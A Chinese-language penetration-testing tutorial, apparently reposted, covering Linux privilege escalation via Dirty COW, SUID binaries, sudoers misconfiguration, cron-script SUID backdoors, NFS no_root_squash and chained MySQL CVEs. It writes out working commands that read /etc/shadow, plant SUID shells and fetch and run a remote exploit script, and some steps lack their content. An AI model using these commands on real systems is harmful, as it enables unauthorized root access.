Linux提權的幾種常用姿勢


在滲透測試過程中,提升權限是非常關鍵的一步,攻擊者往往可以通過利用內核漏洞/權限配置不當/root權限運行的服務等方式尋找突破點,來達到提升權限的目的。

1、內核漏洞提權

提起內核漏洞提權就不得不提到臟牛漏洞(Dirty Cow),是存在時間最長且影響范圍最廣的漏洞之一。低權限用戶可以利用該漏洞實現本地提權,同時可以通過該漏洞實現Docker容器逃逸,獲得root權限的shell。

1.1 本地內核提權
(1)檢測內核版本

# 查看系統發行版本
lsb_release -a
# 查看內核版本
uname -a

(2) 下載,編譯生成exp文件

bypass@ubuntu:~$ make
bypass@ubuntu:~$

(3)執行成功,返回一個root權限的shell。

1.2 利用DirtyCow漏洞實現Docker逃逸

(1)進入容器,編譯POC並執行:

(2)在攻擊者機器上,成功接收到宿主機反彈的shell。

1.3 Linux提權輔助工具

github項目地址:

https://github.com/mzet-/linux-exploit-suggester.git
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

(1)根據操作系統版本號自動查找相應提權腳本

(2)根據提示下載poc,編譯執行。

2、利用SUID提權

SUID是一種特殊權限,可以讓調用者在執行過程中暫時獲得該文件擁有者的權限。如果可以找到並運行root用戶所擁有的SUID的文件,那么就可以在運行該文件的時候獲得root用戶權限。
(1)在Linux中查找可以用來提權的SUID文件

find / -perm -u=s -type f 2>/dev/null


(2)通過find以root權限執行命令

可用作Linux提權的命令及其姿勢:

#Find
find pentestlab -exec whoami \;
#Vim
vim.tiny /etc/shadow
#awk
awk 'BEGIN{system("whoami")}'
#curl
curl file:///etc/shadow
#Bash
bash -p  
#Less
less /etc/passwd
#Nmap
nmap --interactive

3、SUDO提權

普通用戶在使用sudo執行命令的過程中,會以root方式執行命令。在很多場景里,管理員為了運維管理方便,sudoer配置文件錯誤導致提權。

(1)設置sudo免密碼

$vi /etc/sudoers
在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL

(2)查看sudo的權限

4、計划任務

如果可以找到可以有權限修改的計划任務腳本,就可以修改腳本實現提權。本質上,就是文件權限配置不當。

(1)查看計划任務,找到有修改權限的計划任務腳本

ls -l /etc/cron*
more /etc/crontab

(2)在mysqlback.sh 添加 SUID shell后門,當定時任務以root再次執行的時候,可以獲取root權限

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

5、NFS提權

當服務器中存在NFS共享,開啟no_root_squash選項時,如果客戶端使用的是root用戶,那么對於共享目錄來說,該客戶端就有root權限,可以使用它來提升權限。

(1)查看NFS服務器上的共享目錄

sudo showmount -e 10.1.1.233

(2)創建本地掛載目錄,掛載共享目錄。使用攻擊者本地root權限創建Suid shell。

sudo mkdir -p /tmp/data
sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data
cp /bin/bash /tmp/data/shell
chmod u+s /tmp/data/shell

(3)回到要提權的服務器上,使用普通用戶使用-p參數來獲取root權限。

6、MySQL提權

MySQL提權方式有UDF提權,MOF提權,寫入啟動項提權等方式,但比較有意思的是CVE-2016-6663、CVE-2016-6664組合利用的提取場景,可以將一個www-data權限提升到root權限。

(1)利用CVE-2016-6663將www-data權限提升為mysql權限

cd /var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost testdb

(2)利用CVE-2016-6664將Mysql權限提升為root權限:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM